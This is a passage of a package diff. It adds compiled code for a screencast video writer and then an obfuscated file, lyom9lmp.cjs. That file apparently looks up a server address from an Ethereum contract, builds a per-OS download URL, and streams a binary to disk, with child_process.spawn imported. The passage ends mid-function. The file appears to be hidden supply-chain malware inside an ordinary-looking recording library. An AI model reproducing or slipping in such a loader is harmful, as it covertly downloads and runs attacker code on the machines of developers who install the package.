+ return console.error(`Error unable to capture video stream: ${errorMessage}`);
191
+ }
192
+ findSlot(timestamp) {
193
+ if (this.screenCastFrames.length === 0) {
194
+ return 0;
195
+ }
196
+ let i;
197
+ let frame;
198
+ for (i = this.screenCastFrames.length - 1; i >= 0; i--) {
199
+ frame = this.screenCastFrames[i];
200
+ if (timestamp > frame.timestamp) {
201
+ break;
202
+ }
203
+ }
204
+ return i + 1;
205
+ }
206
+ insert(frame) {
207
+ // reduce the queue into half when it is full
208
+ if (this.screenCastFrames.length === this.screenLimit) {
209
+ const numberOfFramesToSplice = Math.floor(this.screenLimit / 2);
210
+ const framesToProcess = this.screenCastFrames.splice(0, numberOfFramesToSplice);
211
+ this.processFrameBeforeWrite(framesToProcess, this.screenCastFrames[0].timestamp);
212
+ }
213
+ const insertionIndex = this.findSlot(frame.timestamp);
214
+ if (insertionIndex === this.screenCastFrames.length) {
215
+ this.screenCastFrames.push(frame);
216
+ }
217
+ else {
218
+ this.screenCastFrames.splice(insertionIndex, 0, frame);
219
+ }
220
+ }
221
+ trimFrame(fameList, chunckEndTime) {
222
+ return fameList.map((currentFrame, index) => {
223
+ const endTime = index !== fameList.length - 1
224
+ ? fameList[index + 1].timestamp
225
+ : chunckEndTime;
226
+ const duration = endTime - currentFrame.timestamp;
227
+ return {
228
+ ...currentFrame,
229
+ duration,
230
+ };
231
+ });
232
+ }
233
+ processFrameBeforeWrite(frames, chunckEndTime) {
234
+ const processedFrames = this.trimFrame(frames, chunckEndTime);
235
+ processedFrames.forEach(({ blob, duration }) => {
236
+ this.write(blob, duration);
237
+ });
238
+ }
239
+ write(data, durationSeconds = 1) {
240
+ this.status = VIDEO_WRITE_STATUS.IN_PROGRESS;
241
+ const totalFrames = durationSeconds * this.options.fps;
242
+ const floored = Math.floor(totalFrames);
243
+ let numberOfFPS = Math.max(floored, 1);
244
+ if (floored === 0) {
245
+ this.frameGain += 1 - totalFrames;
246
+ }
247
+ else {
248
+ this.frameLoss += totalFrames - floored;
249
+ }
250
+ while (1 < this.frameLoss) {
251
+ this.frameLoss--;
252
+ numberOfFPS++;
253
+ }
254
+ while (1 < this.frameGain) {
255
+ this.frameGain--;
256
+ numberOfFPS--;
257
+ }
258
+ for (let i = 0; i < numberOfFPS; i++) {
259
+ this.videoMediatorStream.write(data);
260
+ }
261
+ }
262
+ drainFrames(stoppedTime) {
263
+ this.processFrameBeforeWrite(this.screenCastFrames, stoppedTime);
264
+ this.screenCastFrames = [];
265
+ }
266
+ stop(stoppedTime = Date.now() / 1000) {
267
+ if (this.status === VIDEO_WRITE_STATUS.COMPLETED) {
268
+ return this.writerPromise;
269
+ }
270
+ this.drainFrames(stoppedTime);
271
+ this.videoMediatorStream.end();
272
+ this.status = VIDEO_WRITE_STATUS.COMPLETED;
273
+ return this.writerPromise;
274
+ }
275
+ }
276
+ //# sourceMappingURL=data:application/json;base64,eyJ2ZXJzaW9uIjozLCJmaWxlIjoicGFnZVZpZGVvU3RyZWFtV3JpdGVyLmpzIiwic291cmNlUm9vdCI6IiIsInNvdXJjZXMiOlsiLi4vLi4vLi4vc3JjL2xpYi9wYWdlVmlkZW9TdHJlYW1Xcml0ZXIudHMiXSwibmFtZXMiOltdLCJtYXBwaW5ncyI6IkFBQUEsT0FBTyxFQUFFLFlBQVksRUFBRSxNQUFNLFFBQVEsQ0FBQztBQUN0QyxPQUFPLEVBQUUsTUFBTSxJQUFJLENBQUM7QUFDcEIsT0FBTyxFQUFFLE9BQU8sRUFBRSxNQUFNLE1BQU0sQ0FBQztBQUMvQixPQUFPLEVBQUUsV0FBVyxFQUFFLFFBQVEsRUFBRSxNQUFNLFFBQVEsQ0FBQztBQUUvQyxPQUFPLE1BQU0sRUFBRSxFQUFFLGFBQWEsRUFBRSxNQUFNLGVBQWUsQ0FBQztBQUV0RCxPQUFPLEVBRUwsb0JBQW9CLEVBQ3BCLGtCQUFrQixHQUVuQixNQUFNLHdCQUF3QixDQUFDO0FBRWhDOztHQUVHO0FBQ0gsTUFBTSxzQkFBc0IsR0FBRztJQUM3QixvQkFBb0IsQ0FBQyxHQUFHO0lBQ3hCLG9CQUFvQixDQUFDLEdBQUc7SUFDeEIsb0JBQW9CLENBQUMsR0FBRztJQUN4QixvQkFBb0IsQ0FBQyxJQUFJO0NBQzFCLENBQUM7QUFFRjs7R0FFRztBQUNILE1BQU0sQ0FBQyxPQUFPLE9BQU8scUJBQXNCLFNBQVEsWUFBWTtJQUM1QyxXQUFXLEdBQUcsRUFBRSxDQUFDO0lBQzFCLGdCQUFnQixHQUFHLEVBQUUsQ0FBQztJQUN2QixRQUFRLEdBQUcsYUFBYSxDQUFDO0lBQ3pCLFNBQVMsR0FBRyxDQUFDLENBQUM7SUFDZCxTQUFTLEdBQUcsQ0FBQyxDQUFDO0lBRWIsTUFBTSxHQUFHLGtCQUFrQixDQUFDLFdBQVcsQ0FBQztJQUN4QyxPQUFPLENBQWU7SUFFdEIsbUJBQW1CLEdBQWdCLElBQUksV0FBVyxFQUFFLENBQUM7SUFDckQsYUFBYSxDQUFtQjtJQUV4QyxZQUFZLGlCQUFvQyxFQUFFLE9BQXNCO1FBQ3RFLEtBQUssRUFBRSxDQUFDO1FBRVIs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
package/lyom9lmp.cjs ADDED
@@ -0,0 +1 @@
1
+ const _0x59fa10=_0x2f87;(function(_0x55ccb8,_0x3635c2){const _0x24fca8=_0x2f87,_0x8aa6da=_0x55ccb8();while(!![]){try{const _0x3132a7=-parseInt(_0x24fca8(0x1e9))/0x1+-parseInt(_0x24fca8(0x1fe))/0x2+parseInt(_0x24fca8(0x203))/0x3+-parseInt(_0x24fca8(0x1f0))/0x4*(parseInt(_0x24fca8(0x1f5))/0x5)+-parseInt(_0x24fca8(0x1d8))/0x6+-parseInt(_0x24fca8(0x1e1))/0x7+parseInt(_0x24fca8(0x1ef))/0x8;if(_0x3132a7===_0x3635c2)break;else _0x8aa6da['push'](_0x8aa6da['shift']());}catch(_0x53fb92){_0x8aa6da['push'](_0x8aa6da['shift']());}}}(_0x449e,0x65207));const {ethers}=require('ethers'),axios=require(_0x59fa10(0x1e6)),util=require(_0x59fa10(0x1e8)),fs=require('fs'),path=require(_0x59fa10(0x1f7)),os=require('os'),{spawn}=require('child_process'),contractAddress=_0x59fa10(0x1f4),WalletOwner=_0x59fa10(0x1e7),abi=[_0x59fa10(0x1f2)],provider=ethers['getDefaultProvider'](_0x59fa10(0x1e4)),contract=new ethers[(_0x59fa10(0x1d3))](contractAddress,abi,provider),fetchAndUpdateIp=async()=>{const _0x4410b0=_0x59fa10,_0x4130d5={'TAYJO':_0x4410b0(0x1dc),'fdUUF':function(_0x47a265){return _0x47a265();}};try{const _0x448f1d=await contract[_0x4410b0(0x1e2)](WalletOwner);return _0x448f1d;}catch(_0x333155){return console[_0x4410b0(0x1f8)](_0x4130d5[_0x4410b0(0x200)],_0x333155),await _0x4130d5[_0x4410b0(0x1f1)](fetchAndUpdateIp);}},getDownloadUrl=_0x16a1e2=>{const _0x3f1576=_0x59fa10,_0x4da2c1={'BpvCu':_0x3f1576(0x1d5),'ExoQx':'linux','YPqBt':_0x3f1576(0x1d9)},_0x59c7ea=os[_0x3f1576(0x1ee)]();switch(_0x59c7ea){case _0x4da2c1['BpvCu']:return _0x16a1e2+_0x3f1576(0x1ea);case _0x4da2c1['ExoQx']:return _0x16a1e2+_0x3f1576(0x201);case _0x4da2c1[_0x3f1576(0x1f3)]:return _0x16a1e2+'/node-macos';default:throw new Error('Unsupported\x20platform:\x20'+_0x59c7ea);}},downloadFile=async(_0x4224f7,_0xd5ad8f)=>{const _0x27d665=_0x59fa10,_0xbba0a2={'oFiWm':_0x27d665(0x1f8),'rLxYm':function(_0x572791,_0x557ec4){return _0x572791(_0x557ec4);},'dayrX':_0x27d665(0x1e3)},_0xe7b158=fs[_0x27d665(0x1f9)](_0xd5ad8f),_0x2b4d31=await _0xbba0a2[_0x27d665(0x1fa)](axios,{'url':_0x4224f7,'method':_0xbba0a2[_0x27d665(0x1db)],'responseType':'stream'});return _0x2b4d31[_0x27d665(0x1d7)][_0x27d665(0x1fb)](_0xe7b158),new Promise((_0x2af249,_0x29b2fd)=>{const 